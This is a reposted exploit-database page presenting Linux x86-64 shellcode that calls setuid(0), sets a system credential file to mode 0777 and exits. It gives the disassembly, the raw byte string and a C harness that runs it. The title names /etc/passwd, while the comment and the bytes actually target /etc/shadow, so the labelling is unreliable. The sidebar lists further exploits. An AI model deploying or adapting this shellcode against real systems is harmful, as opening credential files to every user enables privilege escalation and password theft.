首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux/x86-64 - setuid(0) & chmod ("/etc/passwd", 0777) & exit(0) - 63 bytes
来源:http://shell-storm.org 作者:Salwan 发布时间:2010-06-18  
/*
Title:  Linux/x86-64 - setuid(0) & chmod ("/etc/passwd", 0777) & exit(0) - 63 bytes
Date:   2010-06-17
Tested: Archlinux x86_64 k2.6.33

Author: Jonathan Salwan
Web:    http://shell-storm.org | http://twitter.com/shell_storm

! Dtabase of shellcodes http://www.shell-storm.org/shellcode/



  <-- _setuid(0) -->
  400078:	48 31 ff             	xor    %rdi,%rdi
  40007b:	48 31 c0             	xor    %rax,%rax
  40007e:	b0 69                	mov    $0x69,%al
  400080:	0f 05                	syscall

  <-- _chmod("/etc/shadow", 0777) -->
  400082:	48 31 d2             	xor    %rdx,%rdx
  400085:	66 be ff 01          	mov    $0x1ff,%si
  400089:	48 bb ff ff ff ff ff 	mov    $0x776f64ffffffffff,%rbx
  400090:	64 6f 77 
  400093:	48 c1 eb 28          	shr    $0x28,%rbx
  400097:	53                   	push   %rbx
  400098:	48 bb 2f 65 74 63 2f 	mov    $0x6168732f6374652f,%rbx
  40009f:	73 68 61 
  4000a2:	53                   	push   %rbx
  4000a3:	48 89 e7             	mov    %rsp,%rdi
  4000a6:	48 31 c0             	xor    %rax,%rax
  4000a9:	b0 5a                	mov    $0x5a,%al

  <-- _exit(0) -->
  4000ab:	0f 05                	syscall 
  4000ad:	48 31 ff             	xor    %rdi,%rdi
  4000b0:	48 31 c0             	xor    %rax,%rax
  4000b3:	b0 3c                	mov    $0x3c,%al
  4000b5:	0f 05                	syscall
*/

#include <stdio.h>


char *SC =  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
            "\x48\x31\xd2\x66\xbe\xff\x01\x48\xbb\xff"
            "\xff\xff\xff\xff\x64\x6f\x77\x48\xc1\xeb"
            "\x28\x53\x48\xbb\x2f\x65\x74\x63\x2f\x73"
            "\x68\x61\x53\x48\x89\xe7\x48\x31\xc0\xb0"
            "\x5a\x0f\x05\x48\x31\xff\x48\x31\xc0\xb0"
            "\x3c\x0f\x05";

int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Polymorphic Bindport 31337 wit
·H264WebCam Boundary Condition
·Batch Audio Converter Lite Edi
·PowerZip 7.21 (Build 4010) Sta
·Linux/x86-64 - Disable ASLR Se
·Open&Compact Ftp Server <= 1.2
·linux/x86 killall running proc
·MoreAmp (.maf) Buffer Overflow
·linux/x86 exit() polymorphic s
·WebsiteBaker 2.8.1 CSRF Proof
·linux/x86 ssh root@localhost p
·Hacker Evolution Game: untold
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved